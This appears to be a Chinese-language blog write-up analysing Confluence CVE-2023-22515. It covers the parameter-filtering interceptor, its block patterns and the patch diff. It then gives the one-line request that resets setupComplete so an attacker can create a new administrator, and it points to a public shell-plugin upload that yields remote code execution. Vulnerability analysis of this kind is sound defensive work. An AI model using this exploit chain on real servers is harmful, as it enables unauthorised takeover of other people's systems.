虽迟但到,CVSS评分为10分的漏洞,还是值得看看的

官方通告:
https://jira.atlassian.com/browse/CONFSERVER-92475
https://confluence.atlassian.com/security/cve-2023-22515-broken-access-control-vulnerability-in-confluence-data-center-and-server-1295682276.html

影响版本:

1
8.0.0, 8.1.0, 8.2.0, 8.3.0, 8.4.0, 8.5.0, 8.0.1, 8.0.2, 8.0.3, 8.0.4, 8.1.1, 8.1.3, 8.2.1, 8.1.4, 8.2.2, 8.2.3, 8.3.1, 8.3.2, 8.4.1, 8.4.2, 8.5.1 

漏洞分析

下载存在漏洞的版本以及修复版本:

1
2
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.1.zip
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.2.zip

添加动态调试,找到service的名字,执行tomcat9w.exe //ES//Confluence041123021026

在Java Options添加

1
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

XWork框架

Confluence 使用了 XWork 框架,它允许通过 HTTP 请求来设置 Java 对象的参数:XWork Plugin Complex Parameters and Security

XWork allows the setting of complex parameters on an XWork action object. For example, a URL parameter of formData.name=Charles will be translated by XWork into the method calls getFormData().setName("Charles") by the XWork parameters interceptor. If getFormData() returns null, XWork will attempt to create a new object of the appropriate return type using its default constructor, and then set it with setFormData(newObject)

而Confluence的处理方案是使用SafeParametersInterceptor拦截器

1
<interceptor name="params" class="com.atlassian.xwork.interceptors.SafeParametersInterceptor"/>

看到 com.atlassian.struts2_struts-support-1.1.0.jar 中的com.atlassian.xwork.interceptors.SafeParametersInterceptor#doIntercept

首先看到 before 方法

调用 filterSafeParameters 对参数进行处理

isSafeParameterName

该方法会对传入的参数进行判断,如果包含关键字或者满足正则匹配则返回false

1
2
3
4
BLOCKED_PARAMETER_NAMES: actionErrors、actionMessages
EXCLUDE_CLASS_PATTERN: .*class[^a-z0-9_].*
SAFE_PARAMETER_NAME_PATTERN: \w+((\.\w+)|(\[\d+\])|(\['[\w.]*'\]))*
MAP_PARAMETER_PATTERN: .*\['[a-zA-Z0-9_]+'\]

最后会调用 isSafeComplexParameterName 方法

检查该类的 getter / setter 或者其 returnType 是否使用了@ParameterSafe注解

1
2
3
4
5
6
7
8
9
10
11
12
13
private static boolean isSafeMethod(Method writeMethod) {
boolean isAnnotationTrue = false;
boolean isReturnTypeTrue = false;
if (writeMethod != null) {
isAnnotationTrue = writeMethod.getAnnotation(ParameterSafe.class) != null;
}

if (writeMethod.getReturnType() != null) {
isReturnTypeTrue = writeMethod.getReturnType().getAnnotation(ParameterSafe.class) != null;
}

return isAnnotationTrue || isReturnTypeTrue;
}

如果没有实现@ParameterSafe注解,那么 isSafeMethod 就会返回 false

这么一看,漏洞成立需要绕过黑名单验证,并且满足@ParameterSafe注解,利用条件十分苛刻

但怪就怪在它又调用了super.doIntercept(invocation),即 Struts2 自带的 ParametersInterceptor 重新处理了一遍参数

而这就导致属性覆盖,因此 v8.x 版本可以被利用

补丁比较

diff一下 com.atlassian.confluence_confluence-8.5.1.jar 和 com.atlassian.confluence_confluence-8.5.2.jar 文件

struts.xml:

主要是删除了server-info action
看到com.atlassian.confluence.core.actions.ServerInfoAction

该类本身没什么特别的,主要是父类ConfluenceActionSupport
com.atlassian.confluence.core.ConfluenceActionSupport

有一个getter方法叫getBootstrapStatusProvider(),这个方法能够获取 BootstrapStatusProviderImpl 实例
com.atlassian.confluence.impl.setup.BootstrapStatusProviderImpl

根据补丁可以看到修改了 getApplicationConfig 和 getSetupPersister 方法,将对象设置为ReadOnly
com.atlassian.config.ApplicationConfig

存在 setSetupComplete 方法对 setupComplete 赋值,我们可以设置这个值为false让网站进入未安装完成的状态

看到判断是否安装成功的拦截器

1
<interceptor name="setup" class="com.atlassian.confluence.setup.actions.SetupCheckInterceptor"/>

正好会判断 setupComplete 这个值

漏洞利用

1
/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

然后访问/setup/setupadministrator-start.action添加一个新的管理员用户即可

其实不止/server-info.action,只要是继承了 ConfluenceActionSupport 的action,都存在该漏洞

上传插件RCE

X1r0z师傅已经介绍了一种RCE的方法,但是利用条件有限,需要web目录可写并且高权限用户

其实有一种更简单的方法,看到:https://packetstormsecurity.com/files/175225/Atlassian-Confluence-Unauthenticated-Remote-Code-Execution.html
可以通过上传插件实现RCE,利用工具github上已经存在了:https://github.com/AIex-3/confluence-hack/

上传 plugin_shellplug.jar,访问/plugins/servlet/com.jsos.shell/ShellServlet

成功RCE

参考:
Atlassian Confluence CVE-2023-22515 分析
Confluence 10分漏洞CVE-2023-22515
对 Confluence CVE-2023-22515 的一点分析
https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis